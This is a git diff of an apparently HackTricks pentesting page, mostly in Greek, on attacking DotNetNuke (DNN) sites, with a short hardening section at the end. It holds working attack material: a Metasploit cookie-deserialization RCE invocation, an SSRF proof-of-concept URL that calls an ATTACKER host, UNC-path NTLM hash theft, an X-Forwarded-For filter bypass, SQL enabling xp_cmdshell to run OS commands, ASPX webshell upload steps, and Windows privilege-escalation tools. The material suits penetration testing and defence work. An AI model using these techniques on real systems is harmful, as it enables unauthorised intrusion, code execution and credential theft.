diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index fc0468736..19cb32b6a 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε RCE. +Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε **RCE**, ωστόσο έχουν δημοσιευθεί αρκετές *unauthenticated* και *post-auth* τεχνικές τα τελευταία χρόνια. Το παρακάτω cheat-sheet συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους τόσο για επιθετική όσο και για αμυντική εργασία. -## RCE +--- +## Έκδοση & Αριθμός Περιβάλλοντος -### Μέσω SQL +* Ελέγξτε το *X-DNN* HTTP response header – συνήθως αποκαλύπτει την ακριβή έκδοση της πλατφόρμας. +* Ο οδηγός εγκατάστασης διαρρέει την έκδοση στο `/Install/Install.aspx?mode=install` (προσβάσιμο σε πολύ παλιές εγκαταστάσεις). +* `/API/PersonaBar/GetStatus` (9.x) επιστρέφει ένα JSON blob που περιέχει το `"dnnVersion"` για χρήστες χαμηλών δικαιωμάτων. +* Τυπικά cookies που θα δείτε σε μια ζωντανή εγκατάσταση: +* `.DOTNETNUKE` – ASP.NET forms authentication ticket. +* `DNNPersonalization` – περιέχει XML/serialized δεδομένα προφίλ χρήστη (παλιές εκδόσεις – δείτε RCE παρακάτω). -Μια κονσόλα SQL είναι προσβάσιμη κάτω από τη σελίδα **`Settings`** όπου μπορείτε να ενεργοποιήσετε το **`xp_cmdshell`** και **να εκτελέσετε εντολές λειτουργικού συστήματος**. +--- +## Μη Αυθεντική Εκμετάλλευση -Χρησιμοποιήστε αυτές τις γραμμές για να ενεργοποιήσετε το **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. Deserialization RCE Cookie (CVE-2017-9822 & follow-ups) +*Επηρεαζόμενες εκδόσεις ≤ 9.3.0-RC* + +`DNNPersonalization` αποδομείται σε κάθε αίτημα όταν είναι ενεργοποιημένος ο ενσωματωμένος χειριστής 404. Έτσι, το κατεργασμένο XML μπορεί να οδηγήσει σε αυθαίρετες αλυσίδες gadget και εκτέλεση κώδικα. ``` -Και πατήστε **"Run Script"** για να εκτελέσετε αυτές τις SQL εντολές. - -Στη συνέχεια, χρησιμοποιήστε κάτι όπως το παρακάτω για να εκτελέσετε εντολές OS: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Μέσω ASP webshell +Το module επιλέγει αυτόματα τη σωστή διαδρομή για τις διορθωμένες αλλά ακόμα ευάλωτες εκδόσεις (CVE-2018-15811/15812/18325/18326). Η εκμετάλλευση λειτουργεί **χωρίς αυθεντικοποίηση** σε 7.x–9.1.x και με έναν *επιβεβαιωμένο* λογαριασμό χαμηλών δικαιωμάτων σε 9.2.x+. -Στο `Settings -> Security -> More -> More Security Settings` μπορείτε να **προσθέσετε νέες επιτρεπόμενες επεκτάσεις** κάτω από `Allowable File Extensions`, και στη συνέχεια να κάνετε κλικ στο κουμπί `Save`. +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Επηρεαζόμενες εκδόσεις < 9.13.8 – Διόρθωση που εκδόθηκε Απρίλιο 2025* -Προσθέστε **`asp`** ή **`aspx`** και στη συνέχεια στο **`/admin/file-management`** ανεβάστε ένα **asp webshell** που ονομάζεται `shell.asp` για παράδειγμα. +Μια παράκαμψη της παλαιότερης διόρθωσης `DnnImageHandler` επιτρέπει σε έναν επιτιθέμενο να αναγκάσει τον διακομιστή να εκδώσει **τυχαία GET αιτήματα** (ημι-τυφλό SSRF). Πρακτικές επιπτώσεις: -Στη συνέχεια, αποκτήστε πρόσβαση στο **`/Portals/0/shell.asp`** για να αποκτήσετε πρόσβαση στο webshell σας. +* Εσωτερική σάρωση θυρών / ανακάλυψη υπηρεσιών μεταδεδομένων σε αναπτύξεις cloud. +* Πρόσβαση σε hosts που αλλιώς είναι φραγμένοι από το Διαδίκτυο. -### Κλιμάκωση Δικαιωμάτων +Απόδειξη της έννοιας (αντικαταστήστε `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +Η αίτηση ενεργοποιείται στο παρασκήνιο. Παρακολουθήστε τον ακροατή σας για callbacks. -Μπορείτε να **κλιμακώσετε δικαιώματα** χρησιμοποιώντας το **Potatoes** ή το **PrintSpoofer** για παράδειγμα. +### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488) +*Επηρεαζόμενες εκδόσεις 6.0.0 – 9.x (< 10.0.1)* +Ειδικά κατασκευασμένο περιεχόμενο μπορεί να κάνει το DNN να προσπαθήσει να αποκτήσει μια πηγή χρησιμοποιώντας μια **UNC διαδρομή** όπως `\\attacker\share\img.png`. Τα Windows θα εκτελέσουν ευχαρίστως τη διαπραγμάτευση NTLM, διαρρέοντας τους hash λογαριασμού του διακομιστή στον επιτιθέμενο. Αναβαθμίστε σε **10.0.1** ή απενεργοποιήστε το SMB εξόδου στο τείχος προστασίας. + +### 4. IP Filter Bypass (CVE-2025-52487) +Εάν οι διαχειριστές βασίζονται σε *Host/IP Filters* για την προστασία της πύλης διαχείρισης, να γνωρίζετε ότι οι εκδόσεις πριν από **10.0.1** μπορούν να παρακαμφθούν με την παραποίηση του `X-Forwarded-For` σε σενάριο αντίστροφης προώθησης. + +--- +## Post-Authentication to RCE + +### Via SQL console +Κάτω από **`Settings → SQL`** ένα ενσωματωμένο παράθυρο ερωτήματος επιτρέπει την εκτέλεση κατά της βάσης δεδομένων του ιστότοπου. Στον Microsoft SQL Server μπορείτε να ενεργοποιήσετε το **`xp_cmdshell`** και να δημιουργήσετε εντολές: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### Via ASPX webshell upload +1. Go to **`Settings → Security → More → More Security Settings`**. +2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**. +3. Browse to **`/admin/file-management`** and upload `shell.aspx`. +4. Trigger it at **`/Portals/0/shell.aspx`**. + +--- +## Privilege Escalation on Windows +Once code execution is achieved as **IIS AppPool\**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage: + +* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** to escape *Service Accounts*. + +--- +## Hardening Recommendations (Blue Team) + +* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues). +* Remove residual **`InstallWizard.aspx*`** files after installation. +* Disable outbound SMB (ports 445/139) egress. +* Enforce strong *Host Filters* on the edge proxy rather than within DNN. +* Block access to `/API/RemoteContentProxy` if unused. + +## References + +* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub). +* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information. {{#include ../../banners/hacktricks-training.md}}